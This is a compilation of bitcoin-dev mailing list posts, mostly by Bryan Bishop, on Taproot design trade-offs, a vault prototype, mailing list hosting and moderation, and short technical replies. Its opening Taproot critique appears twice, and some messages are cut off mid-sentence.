a gain in efficiency. But this efficiency pre-supposes a specific use case
and probability distribution of use cases.

Compare:

Suppose a MAST for {a,b,c,d,e,f,g,h} spending conditions it looks something
like this:


  /\
 /  \
/\
   /  \
  /\  /\
 /  \/  \
/\  /\  /\  /\
a b c d e f g h

If we want this to be functionally equivalent to Taproot, we add a new path:

   /\
  /\ { schnorr_checksig}
 /  \
/\
   /  \
  /\  /\
 /  \/  \
/\  /\  /\  /\
a b c d e f g h

Now, to spend from this MBV you have to reveal 32 bytes on the stack for
the not taken branch, and 35 bytes for the  schnorr_checksig (1 byte
push, 33 bytes PK, 1 byte checksig).

This is 67 bytes more than Taproot would require for the same spending
condition.

However, suppose we wanted to use one of the script paths instead. We still
need to have one extra hash for the { schnorr_checksig} (depending on
if we put the key in this position or not--see below). But now we can spend
with just a logarithmic control program path.

However, if we do the same script via taproot, we now need to provide the
base public key (33 bytes) as well as the root hash (32 bytes) and path and
then the actual scripts. With the need for 2 push bytes, this ends up being
back at 67 bytes extra.

Is Taproot just a probability assumption about the frequency and likelihood
of the signature case over the script case? Is this a good assumption?  The
BIP only goes as far as to claim that the advantage is apparent if the
outputs *could be spent* as an N of N, but doesn't make representations
about how likely that N of N case would be in practice compared to the
script paths. Perhaps among use cases, more than half of the ones we expect
people to be doing could be spent as an N of N. But how frequently would
that path get used? Further, while the *use cases* might skew toward things
with N of N opt-out, we might end up in a power law case where it's the one
case that doesn't use an N of N opt out at all (or at a de minimis level)
that becomes very popular, thereby making Taproot more costly then
beneficial.

Further, if you don't want to use a Taproot top-level key (e.g., you need
to be able to audit that no one can spend outside of one of the script
conditions), then you need to use a NUMS (nothing up my sleeve) point. This
forces users who don't want Taproot to pay the expense, when if they just
had a MAST based witness type they would be cheaper. So if this use case is
at all common, Taproot leaves them worse off in terms of fees. Given that
script paths are usually done in the case where there is some contested
close, it's actually in the interest of protocol developers that the
contested script path be as efficient as possible so that 

[bitcoin-dev] Taproot (and graftroot) complexity

[Bryan Bishop via bitcoin-dev]

The following is a message forwarded from an anonymous email that, for
whatever reason, couldn't be relayed through the mailing list without my
assistance.

This email is the first of a collection of sentiments from a group of
developers
who in aggregate prefer to remain anonymous. These emails have been sent
under a
pseudonym so as to keep the focus of discussion on the merits of the
technical
issues, rather than miring the discussion in personal politics. Our goal
isn't
to cause a schism, but rather to help figure out what the path forward is
with
Taproot. To that end, we:

1) Discuss the merits of Taproot's design versus simpler alternatives (see
thread subject, "Taproot (and Graftroot) Complexity").
2) Propose an alternative path to deploying the technologies described in
BIP-340, BIP-341, and BIP-342 (see thread subject, "An Alternative
Deployment
Path for Taproot Technologies").
3) Suggest a modification to Taproot to reduce some of the overhead (see
thread
subject, "Taproot Public NUMS Optimization").

Now that the BIP has moved to draft we felt that now was the time to
prioritize
review to make sure it was an acceptable change for our activities. As a
group,
we're excited about the totality of what Taproot has to offer. However,
after
our review, we're left perplexed about the development of Taproot (and
Graftroot, to a lesser extent).

We also want to convey that we have nothing but respect for the developers
and
community who have poured their heart and soul into preparing Taproot. Self
evidently, it is an impressive synthesis of ideas. We believe that the
highest
form of respect to pay such a synthesis of ideas is a detailed and critical
review, as it's pertinent to closely consider changes to Bitcoin.


In essence, Taproot is fundamentally the same as doing
https://github.com/bitcoin/bips/blob/master/bip-0114.mediawiki and Schnorr
signatures separately.

The main reason for putting them together -- as mentioned in the BIP -- is a
gain in efficiency. But this efficiency pre-supposes a specific use case and
probability distribution of use cases.

Compare:

Suppose a MAST for {a,b,c,d,e,f,g,h} spending conditions it looks something
like this:

  /\
 /  \
/\
   /  \
  /\  /\
 /  \/  \
/\  /\  /\  /\
a b c d e f g h

If we want this to be functionally equivalent to Taproot, we add a new path:

   /\
  /\ { schnorr_checksig}
 /  \
/\
   /  \
  /\  /\
 /  \/  \
/\  /\  /\  /\
a b c d e f g h

Now, to spend from this MBV you have to reveal 32 bytes on the stack for
the not
taken branch, and 35 bytes for the  schnorr_checksig (1 byte push, 33
bytes
PK, 1 byte checksig).

This is 67 bytes more than Taproot would require for the same spending
condition.

However, suppose we wanted to use one of the script paths instead. We still
need
to have one extra hash for the { schnorr_checksig} (depending on if we
put
the key in this position or not--see below). But now we can spend with just
a
logarithmic control program path.

However, if we do the same script via taproot, we now need to provide the
base
public key (33 bytes) as well as the root hash (32 bytes) and path and then
the
actual scripts. With the need for 2 push bytes, this ends up being back at
67
bytes extra.

Is Taproot just a probability assumption about the frequency and likelihood
of
the signature case over the script case? Is this a good assumption?  The BIP
only goes as far as to claim that the advantage is apparent if the outputs
*could be spent* as an N of N, but doesn't make representations about how
likely
that N of N case would be in practice compared to the script paths. Perhaps
among use cases, more than half of the ones we expect people to be doing
could be
spent as an N of N. But how frequently would that path get used? Further,
while
the *use cases* might skew toward things with N of N opt-out, we might end
up in
a power law case where it's the one case that doesn't use an N of N opt out
at
all (or at a de minimis level) that becomes very popular, thereby making
Taproot
more costly then beneficial.

Further, if you don't want to use a Taproot top-level key (e.g., you need
to be
able to audit that no one can spend outside of one of the script
conditions),
then you need to use a NUMS (nothing up my sleeve) point. This forces users
who
don't want Taproot to pay the expense, when if they just had a MAST based
witness type they would be cheaper. So if this use case is at all common,
Taproot leaves them worse off in terms of fees. Given that script paths are
usually done in the case where there is some contested close, it's actually
in
the interest of protocol developers that the contested script path be as
efficient as possible so that the fees paid maximally increase the feerate.
We
think this can be fixed simply in Taproot though, as noted below.



On privacy, we're also a bit confused as to the goal of Taproot over MAST
and
Schnorr. Earlier, we presented a design with MAST 

[bitcoin-dev] On-chain vaults prototype

[Bryan Bishop via bitcoin-dev]

Hi,

High-security protection against theft depends on multisig and timelocks,
but more tools are possible. Last year I discussed one method where
would-be attackers are discouraged by specially designed vault covenants
[1] allowing re-vaulting transactions, where a watchtower can override a
proposed delayed-spend transaction during a public observation delay
period. Splitting coins into multiple timelocked UTXOs can give a user time
to react to theft of a much smaller portion of the total amount.

If better and better cold storage designs can be shared openly, reviewed,
and used easily, this can increase security for all bitcoin users. When the
understanding among the general public includes "bitcoin is extremely
valuable" then it becomes more urgent that the understanding in the general
public also includes "bitcoin cold storage security is impenetrable".

Today I would like to announce the release of an open-source prototype for
on-chain bitcoin vaults using pre-signed transactions and secure key
deletion. I am hoping for feedback and discussion around these concepts. To
be very clear, this is a prototype and not fit for production use.

https://github.com/kanzure/python-vaults

During the delay period, this design allows initiation of a recovery or
clawback which triggers funds being moved to deeper cold storage.

Reviewers: Generally interested in your feedback about the concept. My hope
is that the prototype and its source code helps answer some questions about
how this might work. I would suggest to also pay close attention to the
script templates for both outputs and witnesses.

Also included is an implementation of this same bitcoin vault using bip119
OP_CHECKTEMPLATEVERIFY.

I have also been working with Spencer Hommel, Jacob Swambo, and Bob
McElrath on two related manuscripts, one addressing the topic of bitcoin
covenants and the other addressing the topic of vaults based on pre-signed
transactions. As part of that project, there is a separate vault
implementation that is already available on Fidelity's github account [2].
A more bare bones implementation of python vaults can be found at [3].
Also, Kevin Loaec has an unrelated implementation using pre-signed
transactions.

Thank you,

- Bryan

[1]
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2019-August/017231.html
[2] https://github.com/fmr-llc/Vault-mbed
[3] https://github.com/JSwambo/bitcoin-vault
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Libre/Open blockchain / cryptographic ASICs

[Bryan Bishop via bitcoin-dev]

On Sat, Feb 13, 2021 at 4:18 AM Luke Kenneth Casson Leighton 
wrote:

> ... actually i don't see them in the bounces.  what's happening there?
>
> On Saturday, February 13, 2021, Luke Kenneth Casson Leighton <
> l...@lkcl.net> wrote:
> > On Sat, Feb 13, 2021 at 6:10 AM ZmnSCPxj 
> wrote:
> >> Good morning Luke,
> >
> > morning - can i ask you a favour because moderated (off-topic)
> > messages are being forwarded
> > https://lists.ozlabs.org/pipermail/bitcoin-dev-moderation/
> >
> > could you send these instead to libre-soc-...@lists.libre-soc.org?
>

I don't see what you're talking about? None of your February emails were
sent to ozlabs according to the archives there. Threads for the bitcoin-dev
mailing list are stored here:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2021-February/thread.html

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Yesterday's Taproot activation meeting on lockinontimeout (LOT)

[Bryan Bishop via bitcoin-dev]

On Fri, Feb 19, 2021 at 5:31 PM Matt Corallo via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> (off-list)
>
> Your email client didn't thread correctly, so I'm not sure if you saw my
> responses to Adam's email, but note that there


That was not off-list; by the way, as a reminder, some users are digest
subscribed (or not subscribed at all) and they can only reply by making a
new email thread unless they want to forge the email headers to match the
thread (which is a lost art that not many people are familiar with anymore).

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Future of the bitcoin-dev mailing list

[Bryan Bishop via bitcoin-dev]

Hello,

We would like to request community feedback and proposals on the future of
the mailing list.

Our current mailing list host, Linux Foundation, has indicated for years
that they have wanted to stop hosting mailing lists, which would mean the
bitcoin-dev mailing list would need to move somewhere else. We temporarily
avoided that, but recently LF has informed a moderator that they will cease
hosting any mailing lists later this year.

In this email, we will go over some of the history, options, and invite
discussion ahead of the cutoff. We have some ideas but want to solicit
feedback and proposals.

Background
==

The bitcoin-dev mailing list was originally hosted on Sourceforge.net. The
bitcoin development mailing list has been a source of proposals, analysis,
and developer discussion for many years in the bitcoin community, with many
thousands of participants. Later, the mailing list was migrated to the
Linux Foundation, and after that OSUOSL began to help.

Linux Foundation first asked us to move the mailing list in 2017. They
internally attempted to migrate all LF mailing lists from mailman2 to
mailman3, but ultimately gave up. There were reports of scalability issues
with mailman3 for large email communities. Ours definitely qualifies as..
large.

2019 migration plan: LF was to turn off mailman and all lists would migrate
to the paid service provider groups.io. Back then we were given accounts to
try the groups.io interface and administration features. Apparently we were
not the only dev community who resisted change. To our surprise LF gave us
several years of reprieve by instead handing the subdomain and server-side
data to the non-profit OSUOSL lab who instead operated mailman2 for the
past ~4 years.

OSUOSL has for decades been well known for providing server infrastructure
for Linux and Open Source development so they were a good fit. This however
became an added maintenance burden for the small non-profit with limited
resources. Several members of the Bitcoin dev community contributed funding
to the lab in support of their Open Source development infrastructure
goals. But throwing money at the problem isn’t going to fix the ongoing
maintenance burden created by antiquated limitations of mailman2.

Permalinks
==

Linux Foundation has either offered or agreed to maintain archive
permalinks so that content of historic importance is not lost. Fortunately
for us while lists.linuxfoundation.org mailman will go down, they have
agreed the read-only pipermail archives will remain online. So all old URLs
will continue to remain valid. However, the moderators strongly advise that
the community supplements with public-inbox instances to have canonical
archive urls that are separate from any particular email software host.

Public-Inbox


https://public-inbox.org/README.html

“Public Inbox” decentralized archiving - no matter what mailing list server
solution is used, anyone can use git to maintain their own mailing list
archive and make it available to read on the web.

Public Inbox is a tool that you can run yourself. You can transform your
mbox file and it makes it browsable and viewable online. It commits every
post to a git repository. It's kind of like a decentralized mail archiving
tool. Anyone can publish the mail archive to any web server they wish.

We should try to have one or more canonical archives that are served using
public-inbox. But it doesn't matter if these are lost because anyone else
can archive the mailing list in the same way and re-publish the archives.

These git commits can also be stamped using opentimestamps, inserting their
hashes into the bitcoin blockchain.

LKML mailing list readers often use public-inbox's web interface, and they
use the reply-to headers to populate their mail client and reply to threads
of interest. This allows their reply to be properly threaded even if they
were not a previous subscriber to that mailing list to receive the headers.

public-inbox makes it so that it doesn't really matter where the list is
hosted, as pertaining to reading the mailing list. There is still a
disruption if the mailing list goes away, but the archives live on and then
people can post elsewhere. The archive gets disconnected from the mailing
list host in terms of posting. We could have a few canonical URLs for the
hosts, separate from the mailing list server.

mailman problems


Over the years we have identified a number of problems with mailman2
especially as it pertains to content moderation. There are presently a
handful of different moderators, but mailman2 only has a single password
for logging into the email management interface. There are no moderator
audit logs to see which user (there is no concept of different users) acted
on an email. There is no way to mark an email as being investigated by one
or more of the moderators. Sometimes, while investigating the veracity of
an email, another moderator would come in and 

Re: [bitcoin-dev] Towards a means of measuring user support for Soft Forks

[Bryan Bishop via bitcoin-dev]

You may be interested in these posts on transaction signalling:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-April/014193.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-April/014202.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-May/014251.html


On Tue, Apr 26, 2022 at 3:12 PM Keagan McClelland via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Hi all,
>
> Alongside the debate with CTV right now there's a second debate that was
> not fully hashed out in the activation of Taproot. There is a lot of
> argument around what Speedy Trial is or isn't, what BIP8 T/F is or isn't
> etc. A significant reason for the breakdown in civility around this debate
> is that because we don't have a means of measuring user support for
> proposed sof-fork changes, it invariably devolves into people claiming that
> their circles support/reject a proposal, AND that their circles are more
> broadly representative of the set of Bitcoin users as a whole.
>
> It seems everyone in this forum has at one point or another said "I would
> support activation of  if there was consensus on it, but there isn't".
> This statement, in order to be true, requires that there exist a set of
> conditions that would convince you that there is consensus. People have
> tried to dodge this question by saying "it's obvious", but the reality is
> that it fundamentally isn't. My bubble has a different "obvious" answer
> than any of yours.
>
> Secondly, due to the trauma of the block size wars, no one wants to utter
> a statement that could imply that miners have any influence over what
> rulesets get activated or don't. As such "miner signaling" is consistently
> devalued as a signal for market demand. I don't think this is reasonable
> since following the events of '17  miners are aware that they have the
> strong incentive that they understand market demand. Nevertheless, as it
> stands right now the only signal we have to work with is miner signaling,
> which I think is rightly frustrating to a lot of people.
>
> So how can we measure User Support for a proposed rule change?
>
> I've had this idea floating around in the back of my head for a while, and
> I'd like to solicit some feedback here. Currently, all forms of activation
> that are under consideration involve miner signaling in one form or
> another. What if we could make it such that users could more directly
> pressure miners to act on their behalf? After all, if miners are but the
> humble servants of user demands, this should be in alignment with how
> people want Bitcoin to behave.
>
> Currently, the only means users have of influencing miner decisions are A.
> rejection of blocks that don't follow rules and B. paying fees for
> transaction inclusion. I suggest we combine these in such a way that
> transactions themselves can signal for upgrade. I believe (though am not
> certain) that there are "free" bits in the version field of a transaction
> that are presently ignored. If we could devise a mapping between some of
> those free bits, and the signaling bits in the block header, it would be
> possible to have rules as follows:
>
> - A transaction signaling in the affirmative MUST NOT be included in a
> block that does not signal in the affirmative
> - A transaction that is NOT signaling MAY be included in a block
> regardless of that block's signaling vector
> - (Optional) A transaction signaling in the negative MUST NOT be included
> in a block that signals in the affirmative
>
> Under this set of conditions, a user has the means of sybil-resistant
> influence over miner decisions. If a miner cannot collect the fees for a
> transaction without signaling, the user's fee becomes active economic
> pressure for the miner to signal (or not, if we include some variant of the
> negative clause). In this environment, miners could have a better view into
> what users do want, as would the Bitcoin network at large.
>
> Some may take issue with the idea that people can pay for the outcome they
> want and may try to compare a method like this to Proof of Stake, but there
> are only 3 sybil resistant mechanisms I am aware of, and any "real" view
> into what social consensus looks like MUST be sybil resistant:
>
> - Hashpower
> - Proof of personhood (KYC)
> - Capital burn/risk
>
> Letting hashpower decide this is the thing that is currently contentious,
> KYC is dead on arrival both on technical and social grounds, which really
> just leaves some means of getting capital into the process of consensus
> measurement. This mechanism I'm proposing is measurable completely
> en-protocol and doesn't require trust in institutions that fork futures
> would. Additionally it could be an auxiliary feature of the soft fork
> deployment scheme chosen making it something you could neatly package all
> together with the deployment itself.
>
> There are many potential tweaks to the design I propose above:
> 1. Do we include a notion of 

Re: [bitcoin-dev] [BIP proposal] Private Payments

[Bryan Bishop via bitcoin-dev]

Hi,

On Mon, Jun 27, 2022 at 2:14 PM Alfred Hodler via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> 2. Notification transactions still exist but no longer leave a privacy
> footprint on the blockchain. Instead, a notification transaction is simply
> a single OP_RETURN containing a value that only Alice and Bob can
> calculate. If Alice's notification transaction uses UTXOs not associated
> with her identity, there is never a footprint showing that either her or
> Bob are using private payments. If Alice uses tainted coins, only she is
> exposed as a user of Private Payments but Bob still isn't.
>

That's a neat trick. What about not using OP_RETURN at all, and just
publishing on a tor hidden service that other wallets check?  Alice
wouldn't have to expose on-chain that she is a sender of a private payment.

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Why OpenTimestamps does not "linearize" its transactions

[Bryan Bishop via bitcoin-dev]

On Tue, Jun 14, 2022 at 8:48 AM Undiscussed Horrific Abuse, One Victim of
Many via bitcoin-dev  wrote:

> OTS needlessly adds the requirement that the user publicize their .ots
> files to everybody who will make use of the timestamp.


Publication is not a component of the OTS system.

This does not provide the service you describe. It would be trivial to
> include enough cryptographic information in the original OP_RETURN, so
> as to obviate the need for publicizing the .ots file.
>

(Why would it be needless to require everyone to publish OTS files but not
needless to require everyone to publish via OP_RETURN? In fact, now you
have blockchain users that don't ever use your OP_RETURN data.)


> If I send my .ots file to another party, a 4th party can replace it
> with their own, because there is no cryptographic pinning ensuring its
> contents. This changes the timestamp to one later, no longer proving
> the earliness of the data.
>

You can't replace a timestamp in the OTS system; you can only make a new
timestamp. To use the earlier timestamp, you would have to use the earlier
timestamp. At any time it is allowed to make a new timestamp based on the
current clock. The use case for OTS is proving document existence as of a
certain time and that if you had doctored a file then said doctoring was no
later than the earliest timestamp that can be provided.

I was just talking about this the other day actually...
https://news.ycombinator.com/item?id=31640752

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] brickchain

[Bryan Bishop via bitcoin-dev]

Hi,

On Wed, Oct 19, 2022 at 6:34 AM mm-studios via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Fully filled brick B0, with a hash that doesn't meet the difficulty rule,
> would be broadcasted and nodes would have it on in a separate fork as usual.
>

Check out the previous "weak block" proposals:
https://diyhpl.us/~bryan/irc/bitcoin/weak-blocks-links.2016-05-09.txt

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Trustless Address Server – Outsourcing handing out addresses to prevent address reuse

[Bryan Bishop via bitcoin-dev]

On Mon, Oct 17, 2022 at 7:05 PM rot13maxi via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Unbeknownst to them, the clipboard contents have been replaced with an
> address controlled by some bad actor.
>
[snip]

> Now imagine instead that the wallet has some address book with a pubkey
> for each recipient the user wants to send bitcoin to.
>

Isn't this the same problem but now for copy-pasting pubkeys instead of an
address?

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] [Lightning-dev] Bitcoin mail list needs an explicit moderation policy

[Bryan Bishop via bitcoin-dev]

Hi Maxim,

This is exceedingly boring. This is not a good use of your time. There are
thousands of developers subscribed to this mailing list, and we should not
waste their time, including this discussion.

On Fri, Jun 2, 2023 at 6:44 PM Dr Maxim Orlovsky via Lightning-dev <
lightning-...@lists.linuxfoundation.org> wrote:

> What happened next was very unexpected. I am giving the core of the
> conversation over Twitter after in Annex A - with the purpose to showcase
> the problem I’d like to address in this e-mail. From the discussion, it is
> clear that bitcoin-dev mail list lacks clear explicit moderation (or
> peer-review) policies, which must be applied on a non-selective basis.
> Also, Bryan Bishop, as the current moderator, had abused his powers in
> achieving his agenda based on personal likes or dislikes. The conversation
> went nowhere, and the post got published only after a requirement from
> Peter Todd [9].
>

What exactly is the abuse being alleged here though? Why would it be
surprising that your tweets didn't get the behavior you wanted out of me?
In general mailing list moderators should not be sending items through
based on twitter mobbing, that's a policy you can consider if you want to
think about policies.

Annex A:
>
>- @kanzure just like to check that our submission to bitcoin-dev
>hasn’t got to spam <
>
> https://twitter.com/lnp_bp/status/1664649328349069320?s=61=9A8uvggqKVKV3sT4HPlQyg
>>
>- A few mods are reviewing it <
>
> https://twitter.com/kanzure/status/1664680893548572677?s=61=9A8uvggqKVKV3sT4HPlQyg
>>
>- Oh, so a peer review is required to get to bitcoin-dev mail list?
>Never read about that requirement anywhere <
>
> https://twitter.com/lnp_bp/status/1664695061462777858?s=61=9A8uvggqKVKV3sT4HPlQyg>.
>Seems like bitcoin-dev mail list requirements are now specific to the
>author :) <
>
> https://twitter.com/dr_orlovsky/status/1664695668475142144?s=61=9A8uvggqKVKV3sT4HPlQyg
>>
>- Not the greatest email to pull this over. I'll double check but
>pretty sure the antagonization is boring me. <
>
> https://twitter.com/kanzure/status/1664705038315409420?s=61=9A8uvggqKVKV3sT4HPlQyg
>>
>- Not sure I understand what you are saying. Can you please clarify? <
>
> https://twitter.com/dr_orlovsky/status/1664705280393859103?s=61=9A8uvggqKVKV3sT4HPlQyg
>>
>- You are boring me and these antics don't make me want to go click
>approve on your email. <
>
> https://twitter.com/kanzure/status/1664705509147004946?s=61=9A8uvggqKVKV3sT4HPlQyg
>>
>
>
Excluding your (and my) other tweets and any other collaborators' tweets
from your report is kind of weird. I think you should include the other
tweets that you were sending me because it provides context. Zooming out,
the entirety of your complaint seems to be about moderation queue latency
and delay. Why would you, or anyone, allege that that moderator latency is
indicative of me specifically not liking you? Wouldn't it be more likely
that the other moderators and I are looking at your email and talking with
each other asynchronously about whether to suggest edits/reject/submit?

I suspect you may be attributing malice to me because I recently asked you
to stop tagging me on quantum woo and you might have taken that negatively
- please keep in mind that not everyone believes in quantum consciousness
or is interested in hearing about it, and it's okay for people like me to
not want to engage on each of your different interests. There is some
overlap in our interests outside of crypto, but that isn't one of them. I
noticed some odd tweets from you to me after that, so that's why that
incident came to my mind as a possible explanation for this.

Thank you.

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Bitcoin Core maintainers and communication on merge decisions

[Bryan Bishop via bitcoin-dev]

On Sun, May 7, 2023 at 12:36 PM David A. Harding via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> On 2023-05-06 21:03, Michael Folkson via bitcoin-dev wrote:
> > Essentially my concern is going forward current maintainers will
> > decide which proposed new maintainers to add and which to block.
>
> This is how a large percentage of organizations are run.  The current
> members of a board or other governance group choose who will become a
> new board member.
>

Yes but it's unrelated to what Bitcoin Core is-- a volunteer project of
independent contributors merging different pull requests or patches. The
github controls are merely because that is how github works. There is also
a secondary issue of people tending to confuse Bitcoin Core with the
bitcoin protocol in general:
https://blog.lopp.net/who-controls-bitcoin-core/
https://medium.com/@bergealex4/the-tao-of-bitcoin-development-ff093c6155cd
https://bitcoinmagazine.com/culture/a-primer-on-bitcoin-governance-or-why-developers-aren-t-in-charge-of-the-protocol-1473270427

- Bryan
https://twitter.com/kanzure
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev